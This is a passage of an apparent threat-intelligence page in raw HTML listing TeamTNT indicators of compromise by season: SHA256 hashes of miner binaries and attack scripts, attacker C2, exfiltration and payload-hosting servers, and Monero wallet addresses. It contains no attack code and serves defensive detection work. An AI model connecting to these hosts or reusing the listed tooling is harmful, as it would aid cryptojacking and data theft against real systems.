&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;watchdogd.initd&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;16b26d9e4413c2f6d081ca093106935673747d5266aaa33f51c845e65b90e904&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;watchdogd.service&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;264c9b440f2fbd03000211a92a8bbb190f69c78dc087b8f757b3e8676554df57&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;watchdogd-stop&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;020ba2a9f603588dbc6498a6e230249c6952daa920a58de89d997b3fcdc4c115&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;XMRig Miner&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b6f57f8a7fba70d6660335828d2a14029c88079a8176dca2c63281a759fd84ca&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network-1"&gt;&lt;/span&gt;
&lt;a href="#network-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Value&lt;/th&gt;
&lt;th style="text-align: left"&gt;Comment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;icanhazip.com&lt;/td&gt;
&lt;td style="text-align: left"&gt;Used to determine IP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;teamtnt.red&lt;/td&gt;
&lt;td style="text-align: left"&gt;Main server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;123.56.193.119&lt;/td&gt;
&lt;td style="text-align: left"&gt;Exfiltration server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;116.62.122.90&lt;/td&gt;
&lt;td style="text-align: left"&gt;Old server still used by some scripts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;120.26.230.68&lt;/td&gt;
&lt;td style="text-align: left"&gt;Miner CC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;80.211.206.105&lt;/td&gt;
&lt;td style="text-align: left"&gt;Command center&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Wallet&lt;span class="hx:absolute hx:-mt-20" id="wallet"&gt;&lt;/span&gt;
&lt;a href="#wallet" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://bohemianpool.com/"target="_blank" rel="noopener"&gt;89X8a5RqKMGLubB19DwVVqPxgF27C8hqpbtWMqNorpsDSu6Qw5uu4iJF8WwoLt2VQGRgALfjEqpq61awRTaBwpciDatbCNB&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Spring 2020&lt;span class="hx:absolute hx:-mt-20" id="spring-2020"&gt;&lt;/span&gt;
&lt;a href="#spring-2020" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files-2"&gt;&lt;/span&gt;
&lt;a href="#files-2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;clean.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;6b8d828511b479e3278264eff68059f03b3b8011f9a6daaeff2af06b13ba6090&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dns&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;6c73e45b06544fc43ce0e9164be52810884f317a710978c31462eb5b8ebc30cc&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dns3&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;07377cac8687a4cde6e29bc00314c265c7ad71a6919de91f689b58efe07770b0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dns3_32bit&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3876b58d12e27361bdfebd6efc5423d79b6676ca3b9d800f87098e95c3422e84&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;init.sh (Trend Micro)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;459190ba0173640594d9b1fa41d5ba610ecea59fd275d3ff378d4cedb044e26d&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;init.sh (the second script)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;5c488d9d6820f859cde5fb5d147cfe584a603152653d12e720b897df60c6f810&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mxutzh.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;8926672fe6ab2f9229a72e344fcb64a880a40db20f9a71ba0d92def9c14497b6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;NarrenKappe.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;d791ac65b01008d2be9622095e6020d7a7930b6ce1713de5d713fc3cccfa862&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;setup.mytoys.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b60be03a7305946a5b1e2d22aa4f8e3fc93a55e1d7637bebb58bf2de19a6cf4a&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;setup.xmrig.curl.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bebaac2a2b1d72aa189c98d00f4988b24c72f72ae9348c49f62d16b433b05332&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;sysinfo&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3c907087ec77fc1678011f753ddf4531a484009f3c64563d96eff0edea0dcd29&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;lan.redis.pwn.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;25b4c5a3b3bfb1adab66fe17313a9828ef4ed13ea903e603f0ae36f3aa00cab0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;minion_worker.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;2adb1a298dd4ffd1b4fe2d5f5468363e977c8962dc837dc57219362ee2fc3127&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Summer 2020&lt;span class="hx:absolute hx:-mt-20" id="summer-2020"&gt;&lt;/span&gt;
&lt;a href="#summer-2020" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files-3"&gt;&lt;/span&gt;
&lt;a href="#files-3" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;Carray.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;230e2a06df2cd7574ee15cb13714d77182f28d50f83a6ed58af39f1966177769&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;clean.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;c55e4c67ba3cf54360a88980183767522fc05e8bf076f31399ee45efbfbd78e5&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;cron.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;9f5e14ca8c877b7dff84ffbe018c461233af975654bd5b87431920dfc24568a5&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;cron_set.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;705a22f0266c382c846ee37b8cd544db1ff19980b8a627a4a4f01c1161a71cb0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ds.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a386aced768146fecfe81cac214c51c7e575b2c0c27a29c683e3357706f651ba&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;init.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;616c3d5b2e1c14f53f8a6cceafe723a91ad9f61b65dd22b247788329a41bc20e&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;local.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b556d266b154c303bb90db005d7dd4267ed8d0e711e3fd32406c64b1fc977f9e&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mo.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3a377e5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mos.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;0742efecbd7af343213a50cc5fd5cd2f8475613cfe6fb51f4296a7ec4533940d&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ssh.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;929c3017e6391b92b2fbce654cf7f8b0d3d222f96b5b20385059b584975a298b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;tnt.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b3c94173daf8f825dcba80ecc813dd0ca36636851f9fa83901ae3b36af166d78&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mo.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;1b7180c7e1f150ba6848e392e8482b83c638b27b37873f7f0948be991416431&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mo.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3a377e5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;init.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;616c3d5b2e1c14f53f8a6cceafe723a91ad9f61b65dd22b247788329a41bc20e&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;cron_set.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;705a22f0266c382c846ee37b8cd544db1ff19980b8a627a4a4f01c1161a71cb0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ds.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a386aced768146fecfe81cac214c51c7e575b2c0c27a29c683e3357706f651ba&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mo.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b6e369f0eb241ffb1b63c8c5b2b8a9131a9b98125ca869165f899026ab2c64ba&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ssh.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b9036b471ade3a0ed2c3e7d7c20f0844ee15d67ddcbe3380350944e427a7bf49&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;cron.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;c4cd9c12d47e5468f6f6e4b27e122f1a3d05dcae958245b59bde07d11c27328e&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Archives&lt;span class="hx:absolute hx:-mt-20" id="archives"&gt;&lt;/span&gt;
&lt;a href="#archives" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;01.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;78037e2d2e596bd450b99551535fa9c38c4e8346ab75eb424bf9e95316424fbe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;21.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;4f115381c17ba1dedb25d35d922feda9a723e206d811ed437b75fd8116ef461b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;22.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;4a5d3435cd4a835056b4940e1cea9a25b1619562525bd9953a120b556b305983&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;about.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a79d4f5633dbbe98842d5073b41cc25468679c46e011373587ffdbc544d1ea12&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;det.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;79a060a0efcf4a1538c58e532b984dcd927fda17ca9fd10c2ff212f9d9d76be6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mod.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;feb0a0f5ffba9d7b7d6878a8890a6d67d3f8ef6106e4e88719a63c3351e46a06&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;stock.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;2c40b76408d59f906f60db97ea36503bfc59aed22a154f5d564d8449c300594f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Binaries&lt;span class="hx:absolute hx:-mt-20" id="binaries"&gt;&lt;/span&gt;
&lt;a href="#binaries" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;impressum.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;f64a828d58ac5bbdde5e982ebb0766c8969cb63b4ab642467392042f2a594295&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;jq.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bcfa215dec8fe15d4265c508c39c1ebafb7370acc95721e4e7d610b0459eb8dd&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;kube.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;15dce6f833812b119de9447db49e61f5c238c4e45b0dafbe0b6af0ab50bb329a&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ms.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;72b1cbfbd87c6cd85b9dc1da48c852768003e7fb4f01d8f6904921474be199ad&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;socat.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;71c81cb46dd1903f12f3aef844b0fc559f31e2f613a8ae91ffb5630bc7011ef5&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;tshd.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ba974b31c7e6715b83e9468f72fd5927d560fe80dbcba8c4466bb8ce5b93601d&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;zgrab.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;1474298ed7a5c63ca8098794cd743a276807cca0e678e046160718626bb038f3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;portainer&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b49a3f3cb4c70014e2c35c880d47bc475584b87b7dfcfa6d7341d42a16ebe443&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://moneroocean.stream/"target="_blank" rel="noopener"&gt;88ZrgnVZ687Wg8ipWyapjCVRWL8yFMRaBDrxtiPSwAQrNz5ZJBRozBSJrCYffurn1Qg7Jn7WpRQSAA3C8aidaeadAn4xi4k&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fall 2020&lt;span class="hx:absolute hx:-mt-20" id="fall-2020"&gt;&lt;/span&gt;
&lt;a href="#fall-2020" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network-2"&gt;&lt;/span&gt;
&lt;a href="#network-2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Value&lt;/th&gt;
&lt;th style="text-align: left"&gt;Comment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;85[.]214.149.236&lt;/td&gt;
&lt;td style="text-align: left"&gt;Host malicious scripts and binaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;https://iplogger[.]org/2Xvkv5&lt;/td&gt;
&lt;td style="text-align: left"&gt;Used to obtain the IP address of the victim&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmrig&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3b4ff9aff08a7ca9a36ed997f94adb6b18bb757157cec4f04b53ba67e9377003&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;kdevtmpfsi&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dd603db3e2c0800d5eaa262b6b8553c68deaa486b545d4965df5dc43217cc839&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmrigCCMiner_64Bit&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b6f57f8a7fba70d6660335828d2a14029c88079a8176dca2c63281a759fd84ca&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;x86_64&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;139f393594aabb20543543bd7d3192422b886f58e04a910637b41f14d0cad375&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmrig&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fdf26ebad48da26be59b5784f43d1e5ee2efa93c59a717fe2ae1d82bf3f016d3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Winter 2021&lt;span class="hx:absolute hx:-mt-20" id="winter-2021"&gt;&lt;/span&gt;
&lt;a href="#winter-2021" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Attacking Kubernetes&lt;span class="hx:absolute hx:-mt-20" id="attacking-kubernetes-1"&gt;&lt;/span&gt;
&lt;a href="#attacking-kubernetes-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network-3"&gt;&lt;/span&gt;
&lt;a href="#network-3" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Value&lt;/th&gt;
&lt;th style="text-align: left"&gt;Comment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;The.borg[.]wtf (45.9.150.36)&lt;/td&gt;
&lt;td style="text-align: left"&gt;Host malicious scripts and binaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;147.75.47.199&lt;/td&gt;
&lt;td style="text-align: left"&gt;Used to obtain the IP address of the victim&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;teamtnt.red (45.9.148.108)&lt;/td&gt;
&lt;td style="text-align: left"&gt;Host malicious scripts and binaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Borg.wtf (45.9.148.108)&lt;/td&gt;
&lt;td style="text-align: left"&gt;Host malicious scripts and binaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Irc.borg.wtf (123.245.9[.]147)&lt;/td&gt;
&lt;td style="text-align: left"&gt;C2 server and runs IRC server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Sampwn.anondns.net (13.245.9[.]147)&lt;/td&gt;
&lt;td style="text-align: left"&gt;C2 server and runs IRC server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;164.68.106.96&lt;/td&gt;
&lt;td style="text-align: left"&gt;C2 server and runs IRC server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;62.234.121.105&lt;/td&gt;
&lt;td style="text-align: left"&gt;C2 server and runs IRC server&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files-4"&gt;&lt;/span&gt;
&lt;a href="#files-4" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;TDGG&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;2c1528253656ac09c7473911b24b243f083e60b98a19ba1bbb050979a1f38a0f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;tt.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;2cde98579162ab165623241719b2ab33ac40f0b5d0a8ba7e7067c7aebc530172&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;api.key&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b34df4b273b3bedaab531be46a0780d97b87588e93c1818158a47f7add8c7204&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;tmate&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;d2fff992e40ce18ff81b9a92fa1cb93a56fb5a82c1cc428204552d8dfa1bc04f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;sGAU.sh&lt;/code&gt;&lt;/td&gt;
